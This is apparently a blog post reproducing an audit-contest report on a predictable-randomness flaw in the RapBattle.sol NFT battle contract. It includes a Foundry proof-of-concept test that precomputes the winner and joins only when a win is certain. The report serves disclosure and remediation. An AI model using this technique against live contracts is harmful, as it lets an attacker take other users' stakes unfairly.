The contest

I took part in the OneShot audit contest on Codehawks and obtained a High-severity vulnerability regarding the use of randomness on-chain, a typical, difficult-to-solve issue that affects many protocols.
Using randomness in an environment where everything is deterministic and publicly known is not that easy, unfortunately. When implemented poorly, the use of weak randomness can completely compromise the purpose of a protocol, as was the case here.

The short version

The protocol faces NFTs in battles, and the winner wins a bet put in by both contestants. The only issue being, the computation to determine the winner is performed using all pre-known values. This means that any user, at any moment, can compute these values, determine the outcome of the potential battle, and, if the result favors them and they would end up winning the staked bet, decide to participate and take the win. Not much fun, if only users certain of winning participate.
The description that follows is the report I submitted during the context, along with a PoC to demonstrate the issue. Enjoy!

The winner of a battle can be determined before deciding to take part in a competition

Summary

An attacker can wait to join a battle until they are sure they will win the contest. This is due to the fact that no real randomicity is implemented, so any user can compute the result of a battle before joining it: if the pre-computed result shows they would win, they can enter the stage and be certain of obtaining the prize.

Vulnerability Details

The RapBattle.sol::_battle determines the final winner of a battle using the following computation:

uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
        uint256 challengerRapperSkill = getRapperSkill(_tokenId);
        uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
        uint256 totalPrize = defenderBet + _credBet; 
        uint256 random =
            uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill; 

and then proceeds to use the "random" value to determine the winner.
However, this value can be pre-computed by any attacker interested in joining the battle. The attack vector is as follows:

• a user enters the stage with their rapper NFT, and waits for a challenger
• the attacker, seeing that someone as entered the stage, starts computing what the value of "random" would be if they entered the battle
• if the value of random would make the first user the winner, they wait for the variables to change, and recompute "random" (basically, wait for a new block)
• when the new value of random would make the attacker the winner, they insert their transaction to challenge the first user, and win the battle and the bet associated with it

This approach is shown using the following test case, which can be added to the OneShotTest.t.sol file:

function testWeakRandom() public twoSkilledRappers{
        //let's approve both NFTs for battle first
        vm.prank(user);
        oneShot.approve(address(rapBattle), 0);

        vm.startPrank(challenger);
        oneShot.approve(address(rapBattle), 1);

        //now the challenger decides to enter the stage and wait for a rival
        rapBattle.goOnStageOrBattle(1, 0);
        vm.stopPrank();

        //the user will now compute the result of the battle, before even entering
        //if the result is favorable, they will enter and win
        //otherwise, they will wait for a more favorable moment
        vm.startPrank(user);
        //the following code and computations are taken from RapBattle.sol
        uint256 challengerRapperSkill = rapBattle.getRapperSkill(1);
        uint256 userRapperSkill = rapBattle.getRapperSkill(0);
        uint256 totalBattleSkill = userRapperSkill + challengerRapperSkill;
        uint256 random =
            uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(user)))) % totalBattleSkill;
        //as long as I am not certain to win, wait for a new value of the random variable
        while(random <= challengerRapperSkill){
            skip(3600);
            random =
            uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(user)))) % totalBattleSkill;
        }

        vm.recordLogs();
        rapBattle.goOnStageOrBattle(0, 0);

        //let's make sure user won, as expected
        Vm.Log[] memory entries = vm.getRecordedLogs();
        // Convert the event bytes32 objects -> address
        address winner = address(uint160(uint256(entries[0].topics[2])));
        assert(winner == user);
        vm.stopPrank();
    }

Impact

If there is no random outcome, users will participate in a battle only when they are certain of winning. Initially, this will lead to an unfair advantage to users aware of this issue. Finally, as the fact that all battles are tricked becomes obvious, users will stop participating in battles, leading this functionality of the protocol to a halt.

Tools Used

Manual review, VSCode, Foundry

Recommendations

The use of block.timestamp and block.prevrandao does not guarantee real randomicity. Randomicity would greatly benefit from the usage of a VDF solution.